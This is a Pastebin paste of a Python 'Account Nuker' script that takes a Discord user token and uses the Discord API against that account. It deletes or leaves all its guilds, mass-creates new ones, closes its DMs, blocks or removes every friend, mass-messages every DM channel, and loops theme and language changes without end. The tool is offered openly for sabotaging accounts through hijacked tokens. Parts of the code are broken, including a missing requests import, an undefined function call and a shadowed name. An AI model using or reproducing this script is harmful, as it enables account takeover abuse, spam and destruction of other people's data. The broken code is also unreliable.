Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- from os import system
- from requests import post, get, patch, delete
- from colorama import Fore, init
- from sys import exit
- from time import sleep
- import ctypes, json
- system('cls && title Account Nuker'); init()
- def banner():
- banner = f"""{Fore.GREEN}
- ___ ___ ___ ___ _ _ _ _ ___ _ _ _ _ _ __ ___ ___
- | . || _>| _>| . || | || \ ||_ _| | \ || | || / /| __>| . |
- | || <__| <__| | || ' || | | | | || ' || \ | _> | /
- |_|_|`___/`___/`___'`___'|_\_| |_| |_\_|`___'|_\_\|___>|_\_| {Fore.WHITE}Created by Kominiara DDL#3048
- """
- return(banner)
- def options():
- menu = f"""{Fore.GREEN}[1] Create guilds
- [2] Remove Guilds
- [3] Close DM
- [4] Block friends
- [5] Delete friends
- [6] MassDM
- [7] Change theme
- [8] Change language"""
- return (menu)
- def createGuilds(token, name, amount):
- for x in range(int(amount)):
- data = {
- "name":name,
- "region":"europe",
- "icon":'null'
- }
- r = post('https://discordapp.com/api/v6/guilds', json=data, headers={'authorization': token})
- if r.status_code == 201:
- print(f"{Fore.GREEN}[{Fore.WHITE}+{Fore.GREEN}] Create guild {name}")
- else:
- print(f"{Fore.RED}[{Fore.WHITE}-{Fore.RED}] Error with create guild")
- def deleteGuilds(token):
- r = get('https://discordapp.com/api/v6/users/@me/guilds', headers={'authorization': token})
- json.text = json.loads(r.content)
- for guild in json.text:
- if guild['owner'] == True:
- r2 = post(f"https://discordapp.com/api/v6/guilds/{guild['id']}/delete", headers={'authorization': token})
- print(f"{Fore.GREEN}[{Fore.WHITE}+{Fore.GREEN}] Remove guild {Fore.WHITE}{guild['name']}")
- elif guild['owner'] == False:
- r3 = delete(f"https://discordapp.com/api/v6/users/@me/guilds/{guild['id']}", headers={'authorization': token})
- print(f"{Fore.GREEN}[{Fore.WHITE}+{Fore.GREEN}] Left guild {Fore.WHITE}{guild['name']}")
- else:
- print(f"{Fore.RED}[{Fore.WHITE}-{Fore.RED}] Unknown error")
- def closeDm(token):
- r = get('https://discordapp.com/api/v6/users/@me/channels', headers={'authorization': token})
- for channel in r.json():
- r2 = post(f"https://discordapp.com/api/v6/channels/{channel['id']}/message", headers={'authorization': token})
- r3 = delete(f"https://discordapp.com/api/v6/channels/{channel['id']}", headers={'authorization': token})
- if r3.status_code == 200:
- print(f'{Fore.GREEN}[{Fore.WHITE}+{Fore.GREEN}] Close DM')
- else:
- print(f"{Fore.RED}[{Fore.WHITE}-{Fore.RED}] Unknown error")
- def block(token):
- r = requests.get('https://discordapp.com/api/v6/users/@me/relationships', headers={'authorization': token}).json()
- for frd in r:
- r2 = requests.put(f'https://discordapp.com/api/v6/users/@me/relationships/{frd["id"]}', headers={'authorization': token}, json={'type': '2'})
- print(f"{Fore.RED}[{Fore.WHITE}LOG{Fore.RED}] Block friends")
- def delete(token):
- r = requests.get('https://discordapp.com/api/v6/users/@me/relationships', headers={'authorization': token}).json()
- for frd in r:
- r2 = requests.delete(f'https://discordapp.com/api/v6/users/@me/relationships/{frd["id"]}', headers={'authorization': token})
- print(f"{Fore.RED}[{Fore.WHITE}LOG{Fore.RED}] Remove from friends")
- def massdm(token, message):
- headers = {'authorization': token}
- data = {'content': message}
- r = requests.get('https://discordapp.com/api/v6/users/@me/channels', headers=headers).json()
- for channel in r:
- r2 = requests.post(f"https://discordapp.com/api/v6/channels/{channel['id']}/messages", headers=headers, json=data)
- if r2.status_code == 200:
- print(f"{Fore.RED}[{Fore.WHITE}LOG{Fore.RED}] Send message")
- else:
- print(f"{Fore.RED}[{Fore.WHITE}LOG{Fore.RED}] Error")
- def theme(token):
- headers = {'authorization': token}
- while True:
- for x in range(2):
- list = ['dark', 'light']
- r = requests.patch('https://discord.com/api/v6/users/@me/settings', headers=headers, json={'theme': list[x]})
- if r.status_code == "200":
- print("200")
- else:
- print(f"{r.status_code}")
- def lang(token):
- headers = {'authorization': token}
- list = ['da', 'de', 'en-BG', 'en-US', 'es-ES', 'fr', 'hr', 'it', 'lt', 'no', 'pl', 'el', 'tr', 'ru']
- while True:
- for x in range(len(list)):
- r = requests.patch('https://discord.com/api/v6/users/@me/settings', headers=headers, json={'locale': list[x]})
- print(f"changed: {list[x]}")
- if __name__ == "__main__":
- print(banner())
- token = input(f"\n{Fore.WHITE}Token >")
- system('cls')
- print(banner())
- print(options())
- option = input(f"\n{Fore.WHITE}Option > ")
- if option == '1':
- name = input(f"Name >")
- amount = input(f"Amount >")
- createGuilds(token, name, amount)
- elif option == '2':
- deleteGuilds(token)
- elif option == '3':
- closeDm(token)
- elif option == '4':
- blockFriend(token)
- elif option == '5':
- delete(token)
- elif option == '6':
- message = input("Message >")
- massdm(token, message)
- elif option == '7':
- theme(token)
- elif option == '8':
- lang(token)
- else:
- print("Invliad option")
- system("stop >NUL")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement